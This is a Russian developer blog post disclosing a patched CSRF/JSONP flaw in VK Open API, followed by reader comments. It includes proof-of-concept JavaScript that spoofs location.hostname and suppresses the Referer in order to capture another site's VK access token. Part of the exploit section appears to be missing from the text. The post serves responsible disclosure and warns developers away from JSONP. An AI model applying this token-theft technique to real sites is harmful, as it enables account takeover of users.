Веб-разработчик
0,0
рейтинг
17 ноября 2015 в 12:16

Разработка → CSRF-уязвимость VK Open Api, позволяющая злоумышленнику без ведома пользователя получать Access Token’ы сторонних сайтов, на которых реализована авторизация через VK из песочницы

Представляю вашему вниманию обзор уязвимости, связанной с неправильным применением JSONP в VK Open Api. На мой взгляд, уязвимость достаточно серьёзная, т.к. позволяла сайту злоумышленника получать Access Token другого сайта, если на нём используется авторизация через библиотеку VK Open API. На данный момент уязвимый код поправили, репорт на HackerOne закрыли, вознаграждение выплатили (1,500$).

Как это выглядело


В принципе, процесс получения пользовательского Access Token'а страницей злоумышленника происходил по стандартной схеме эксплуатации CSRF-уязвимости:

  1. Пользователь заходит на сайт, использующий библиотеку VK Open API (например, www.another-test-domain.com).
  2. Авторизуется там через VK.
  3. Потом заходит на сайт злоумышленника (например, www.vk-test-auth.com), который, эксплуатируя уязвимость, получает Access Token, принадлежащий сайту www.another-test-domain.com.
  4. Получив Access Token пользователя, злоумышленник может обращаться к VK API с теми правами, который пользователь дал сайту www.another-test-domain.com при авторизации на нем через VK.

Демонстрация


На видео показано, как страница «злоумышленника» на домене www.vk-test-auth.com получает Access Token пользователя VK, который авторизовался на сайте www.another-test-domain.com, несмотря на то, что в настройках приложения VK, доступ разрешён только для домена www.another-test-domain.com.



Конечно, домены я не регистрировал, т.к. в данном случае это не играет никакой роли. Когда записывался скринкаст, они были прописаны в hosts.

Немного о VK Open API


Выдержка из официальной документации:
Open API — система для разработчиков сторонних сайтов, которая предоставляет возможность легко авторизовывать пользователей ВКонтакте на Вашем сайте. Кроме этого, с согласия пользователей, вы сможете получить доступ к информации об их друзьях, фотографиях, аудиозаписях, видеороликах и прочих данных ВКонтакте для более глубокой интеграции с Вашим проектом.

Т.е. это JS библиотека, позволяющая работать с VK API (авторизация, вызов методов API, вроде 'wall.post', 'audio.get', 'video.add', etc...) прямо со страницы вашего сайта. Для того, чтобы использовать эту библиотеку, необходимо создать VK-приложение с типом «Веб-сайт», указать домен в настройках, и разместить пару тегов script на странице.

Подключение библиотеки


Пример подключения и инициализации библиотеки:

<script src="//vk.com/js/api/openapi.js" type="text/javascript"></script>
<script type="text/javascript">
  VK.init({
    apiId: ВАШ_APP_ID
  });
</script>

Естественно, в параметре appId можно указать только ID VK-приложения, в настройках которого «Базовый домен» совпадает с доменом страницы, на котором мы подключаем библиотеку.

Наша страница может обращаться к методам VK API после того, как пользователь во всплывающем окне разрешит VK-приложению доступ к своему профилю. Для того, чтобы показать это всплывающее окно, нужно вызвать метод VK.Auth.login(). И после того, как разрешение получено, можно обращаться к VK API. Важное замечание: если пользователь однажды предоставил приложению доступ к своему профилю, то даже после перезагрузки страницы его разрешение остается в силе: не нужно каждый раз вызывать VK.Auth.login(). Для того, чтобы определить, нужно ли просить пользователя предоставить сайту (точнее, VK-приложению сайта) доступ к своему профилю, можно использовать следующий код:

VK.Auth.getLoginStatus(function(resp) { 
	if (resp.session) { 
		// Пользователь уже предоставил доступ к своему профилю.
		// Можно спокойно работать с VK API.  
	} else { 
		// Нужно просить пользователя предоставить доступ,
		// и только после его согласия работать с VK API.
 		VK.Auth.login(...);
	} 
}); 

Если при вызове VK.init() указать ID чужого приложения, домен которого не совпадает с доменом страницы, на котором запускается библиотека – ничего работать не должно (даже функция-callback, переданная в getLoginStatus() не будет вызвана).

Небольшая оговорка: оказывается, этот запрет можно обойти. Для того, чтобы было понятнее, вкратце расскажу, как работает проверка «авторизованности» пользователя в VK-приложении.

Принцип проверки авторизации пользователя


Для работы с VK API из JS-кода веб-страницы, используется метод VK.Api.call(), например:

// Получение информации о текущем пользователе
VK.Api.call('users.get', {}, function(result) {
	var user;
	if (result.response) {
		user = result.response[0];
		alert('Здравствуйте, ' + user.first_name + ' ' + user.last_name + '!');
	}
}); 

При первом вызове метода VK.Api.call(), библиотека обращается на бекенд VK за Access Token'ом. Для этого, внутри VK.Api.call() вызывается метод VK.Auth.getLoginStatus(), через который библиотека и получает этот токен (конечно, если только пользователь ранее предоставил доступ сайту к своему профилю). После того, как токен удалось получить, происходит запрос к API и получение ответа от сервера. Уязвимость кроется в способе получения и способе обработки ответа сервера в методе VK.Auth.getLoginStatus(). Всему виной JSONP, вернее, его некорректное применение.

Порочный JSONP


Давайте подробнее рассмотрим работу метода VK.Auth.getLoginStatus(). Для того, чтобы получить Access Token, делается JSONP-запрос на следующий URL:

https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456


Параметры:

  • aid – ID приложения
  • location – домен, с которого выполняется запрос
  • rnd – ID callback-функции (ведь это JSONP)

Если в запросе по URL, приведённом выше, домен в HTTP Referrer совпадает с доменом, который был указан в настройках VK-приложения, или если HTTP Referrer не передавать совсем (!) – то получаем такой ответ:

/* <html><script>window.location='http://vk.com';</script></html> */
if (location.hostname != 'www.example.com') {
	window.location.href = 'http://vk.com/oauth';
	for (;;);
} else {
	VK.Auth.lsCb[456]({
		"auth": true,
		"access_token": "5ea11111d799a53236f5d3eff5d34bcd2dda0f9e6a7aaf743f7d26d3487456f6ce8d5e1ff82eaa6f7b04a",
		"expire": 1436755095,
		"time": 7200,
		"sig": "12d254526496a6db2af6bed2eb1dd3e7",
		"secret": "oauth",
		"user": {
			"id": "%ID_страницы%",
			"domain": "%имя_страницы%",
			"href": "https:\/\/vk.com\/%имя_или_id_страницы%",
			"first_name": "%имя%",
			"last_name": "%фамилия%",
			"nickname": ""
		}
	});
}

Важно: При JSONP-запросе на вышеуказанный URL, браузер также отправляет куки пользователя. Поэтому, сервер знает, от имени какого пользователя VK делается запрос, и строит ответ исходя из этой информации.

Как я уже говорил раннее, ответом является JS-код, в котором следующая логика: если домен текущей страницы (location.hostname) равен домену, указанному в настройках приложения – вызываем функцию VK.Auth.lsCb[%значение_параметра_rnd%](), и в качестве первого аргумента передаём объект с Access Token'ом, иначе – перенаправляем пользователя на vk.com/oauth. Зачем? Это такая защита. Т.к. если бы домен, указанный в настройках VK-приложения не сверялся с location.hostname, то любой мог бы разместить у себя на сайте следующий код:

<script>
var VK = {
	Auth: {
		lsCb: {
			456: function (data) {
				// В объекте data находится Access Token (data.access_token)
				// и информация о текущем пользователе (data.user)
			}	
		}
	}
}
</script>
<script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456">

И таким образом получать Access Token (а вместе с этим и доступ к профилю) каждого пользователя, посетившего страницу злоумышленника, если этот пользователь предоставил сайту, использующему VK Open API, доступ к своему профилю (в примере выше, это www.example.com). Злоумышленнику остаётся лишь скрыть HTTP Referrer страницы, с которой делается запрос – это достаточно просто.

Итак, защита вроде бы работает, сверка текущего location.hostname с доменом VK-приложения ограничивает доступ посторонним к Access Token, но… в JavaScript есть геттеры/сеттеры, а у браузеров свои особенности/странности реализации стандартного окружения JS (BOM).

Эксплуатация уязвимости


Тогда я решил проверить, а что если определить для location.hostname геттер, который будет всегда возвращать строку "www.example.com"? Быстро проверив свою догадку в консоли, и убедившись, что этот хак на тот момент работал:

// Работает в Chrome-подобных браузерах младше 42-й версии, и всём, что на нём основано:
// Yandex.Browser, Opera (WebKit), Android Chrome, etc…
// На момент написания этого кода, актуальной была ~41 версия Хрома.
// Работало потому, что поле hostname объекта location являлось configurable-полем.
location.__defineGetter__('hostname', function () {
	return 'какая-то строка';
});

console.log(location.hostname); // 'какая-то строка'

Решил попробовать обмануть проверку домена так:

<script>
var VK = {
	Auth: {
		lsCb: {
			// Этот метод будет вызван после получения и выполнения JSONP-ответа от сервера VK
			456: function (data) {
				alert(data.access_token);
			}
				
		}
	}
};

location.__defineGetter__('hostname', function () {return 'www.example.com'});
</script>
<script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456">

Но появляется другая проблема – HTTP Refferer. Ведь с запросом по URL login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456 будет также передаваться HTTP Refferer страницы, и если домен этой страницы не совпадает с доменом, указанным в настройках VK-приложения, мы получим редирект на vk.com/js/api/openapi_error.js, в котором следующий код:

try{console.log('open api access error');}catch(e){}

Но! Как я уже писал выше, если HTTP Refferer не передать совсем, то мы получим нормальный ответ. Я думаю, так было сделано по двум причинам:

  1. HTTP Refferer может передаваться не всегда.
  2. Вероятно это сделано для того, чтобы обеспечить работу VK Open API на страницах, у которых нет своего глобального URL (т.е. адрес страницы как-бы есть, но доступен только для вашего браузера, например Data URL, ObjectURL или страница настроек какого-нибудь браузерного расширения).

Один из способов скрыть HTTP Refferer – разместить на странице iframe, в src у которого будет Data URL, а в нём код другой страницы, в которой:

  1. Подменяется location.hostname.
  2. Объявляется функция-получатель Access Token'а ( VK.Auth.lsCb[456]()).
  3. Размещается , который, собственно, и загружает ответ от сервера c вызовом JSONP-функции VK.Auth.lsCb[456]().

  4. Порой инструмент, которым пользуешься на протяжении долгого времени, преподносит сюрпризы. Иногда в виде серьёзных уязвимостей. Однако есть общее правило: никогда не передавайте через JSONP конфиденциальные данные. Даже когда код валидации получателя JSONP-ответа кажется безупречным, выясняется, что можно подменить браузерное окружение JS (BOM) так, что вся проверка перед передачей токена коду страницы сводится на нет. Вообще, пора отказываться от JSONP в пользу CORS.

    В этой публикации, я ни в коем случае не хотел выставить разработчиков VK Open API в нехорошем свете. Наоборот: ребята молодцы, разрабатывают крутой сервис, на крутых технологиях с отличной документацией и службой поддержки. А ошибиться может каждый. Основная причина, по которой я таки решился на написание статьи — это желание предостеречь веб-разработчиков от подобных ошибок.

    В принципе, это всё. Я планировал описать суть уязвимости в нескольких абзацах, однако после написания каждого абзаца меня не покидало чувство недосказанности. Так и получилась эта пелена текста.

    Благодарю за внимание!
Олег Заболотько @olzrav
карма
23,2
рейтинг 0,0
Веб-разработчик
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Спецпроект

Самое читаемое Разработка

Комментарии (17)

  • –8
    Спасибо! Интересно!
    • +4
      Вы забыли «Автору плюс, добавил в избранное!», как можно! =)
  • 0
    Любопытно, благодарю.
    Но у меня смутные сомнения — или я что-то пропустил, или изначальный подход к авторизации порочен.

    Возьмем как это сделано в одном нашем проекте — токен авторизации получается методом вызываемым на стороне сервера партнера, который подписывается его секретным ключем. Сайт партнера сам передает данный код в браузер пользователя. Данный токен доступен только в окружении той страницы, и я право не вижу путей его утечки.
    Да, у нас несколько другой функционал, и нам не нужно авторизовывать пользователя, это делает за нас партнер отражая это в данных при получении токена, но я не вижу принципиальной разницы. ИД партнера авторизуется закрытой серверной стороной, ИД пользователя через браузер, например куками.
    Вроде как стандартная практика, нет?
    Я давно не игрался с ВК.АПИ, я зарекся иметь с ними дело после того как они пару раз без предварительных предупреждений поменяли правила, и выкинули меня из клуба, потому что у меня нет приложения. (вроде как наличие приложения это фильтр базовых знаний, а то что приложение удалили по причине изменения правил ведь не должно отражаться на моих способностях, не?).
    Но суть не в том. Я помню у них тоже были «секьюрные» методы, на которые они жирно писали, что исполнять их можно только на сервере чтобы не светить свои авторизации в браузер.
    Повторюсь, что я могу ошибаться, но не понимаю ЗАЧЕМ? Приложения без браузера и сайта соответственно? Ну так опять таки, им не нужно знать мои авторизации или же они всё равно будут дергать мой АПИ, где всё равно можно делать действия на стороне сервера…
    Что я не так понимаю?
  • –2
    «Но! Как я уже писал выше, если HTTP Refferer не передать совсем, то мы получим нормальный ответ. Я думаю, так было сделано по двум причинам:» – это сделано потому, что refferer не передается для https сайтов
    • +1
      C https на https — передается.
  • +2
    Вопрос: вы три-четыре раза находили ошибки в исправленных уязвимостях. Вам все три раза оплачивали по $1500? Или только за самую последнюю? Что вообще пишут VK по поводу этих ошибок?
    • +1
      После последнего исправления.
      Я так понимаю, эта выплата была сразу за всё :)
      • +5
        Это не очень справедливо. По-хорошему за каждую демку должны были заплатить. Тем более уязвимость довольно серьезная.
        • 0
          По-хорошему за каждую демку должны были заплатить.

          Согласен

          Тем более уязвимость довольно серьезная.

          Не согласен. Для полноценной эксплуатации этой уязвимости, надо заранее знать, каким приложениям пользователь дал разрешение на использование своей страницы. Конечно, можно протыкаться по списку самых популярных APP_ID, но не факт, что пользователь подписан на них.
          Остается второй вариант — как-то следить за списками пользователей, которые подписаны на других сайтах, парсить и хранить эту информацию, чтобы потом, когда пользователь наконец зайдет на твой фишинговый сайт — произвести эксплуатацию…

          Опять же, насколько я понял: личная переписка от этого не вскрывается, доступ к закрытым фоткам/документам не получается, максимум- можно от имени пользователя делать посты на стене пользователя, т.е. как вариант — можно насолить какому-нибудь конкуренту, если ты знаешь, что есть пользователи, которые подписаны на него.
          • 0
            Можно попробовать не собирать предварительно, а на момент входа проверить.
            Если знать APP_ID приложения, которое на сайте используется, то можно своим пользователем залогиниться в это приложение, и вызвать метод VK API users.isAppUser, с параметром user_id, полученным из куков. Не знаю, правда, насколько быстро можно провернуть такую проверку.
  • 0
    > Теперь для получения Access Token'а, библиотека делает кроссдоменный запрос
    А как же старые браузеры, где не поддерживаются кроссдоменные запросы?
  • +1
    А на два мои репорта на Hackerone VK почти месяц не отвечают, до сих пор в статусе «New» — видимо, Ваш баг исправляли)
    • +2
      Видимо так и было)
      Ещё один мой репорт к VK на Hackerone тоже уже давненько ждёт закрытия. Наберёмся же терпения :)
  • +1
    поле location объекта self можно просто накрыть объектом с полями href, hostname и др. Почему? Всё просто: объект location находится не в самом объекте self, а в его прототипе

    Всегда интересно было, откуда у вебхакеров такие знания берутся? Чтобы стало «всё просто», надо код браузера Хром выучить?
    • +2
      Всё просто — хочешь найти пульт от телевизора — думай как пульт, или как минимум как телевизор.
      Тщательное изучение исходников это полезно, но не всегда, и не достаточно.
      Нужно понимать логику. Логику принятия решений, и тогда не нужно будет знать код.
      Веб-разработчик который написал свой MVC-велосипед на полсотни классов, пару лет подерживал, после чего еще год мигрировал всё это на популярный фреймворк — очень быстро освоит любой фреймворк, и ему не нужно будет часто заглядывать в код фреймворка, чтобы понять что и как работает. Он это УЖЕ ДЕЛАЛ.
      Помню одна большая контора слизала один в один мой сервис. Просто посмотрели на интерфейс и сделали такой же.
      Так я рассказывал их пользователям об особенностях работы их сервиса (на их форуме) потому что мне было прекрасно понятно что и как они сделали. Также как и они половину нетривиальной логики поняли просто по интерфейсу. Часто когда есть опыт, то ты понимаешь почему сделали так а не иначе… Это в интерфейсе, особенно в хорошем делают сначала интерфейс, а потом думают как это реализовывать. В более технических вещах внутренности видны даже просто по описанию. Не все конечно. И при атаке особенно на удаленные вещи всё решает эксперимент. Но предположения берутся из опыта…

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.